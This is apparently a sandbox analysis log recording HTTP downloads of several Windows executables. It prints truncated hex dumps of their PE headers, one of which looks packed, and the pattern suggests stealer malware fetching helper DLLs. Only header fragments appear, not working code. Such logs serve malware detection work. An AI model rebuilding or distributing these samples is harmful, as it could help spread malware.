Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 05 Jul 2024 02:23:22 GMTContent-Type: application/octet-streamContent-Length: 1850368Last-Modified: Fri, 05 Jul 2024 01:34:22 GMTConnection: keep-aliveETag: "66874d9e-1c3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 ec e8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 40 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 40 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 68 6d 7a 71 6e 65 70 00 30 19 00 00 20 30 00 00 24 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 62 69 70 61 77 6f 6a 00 10 00 00 00 50 49 00 00 04 00 00 00 16 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 1a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
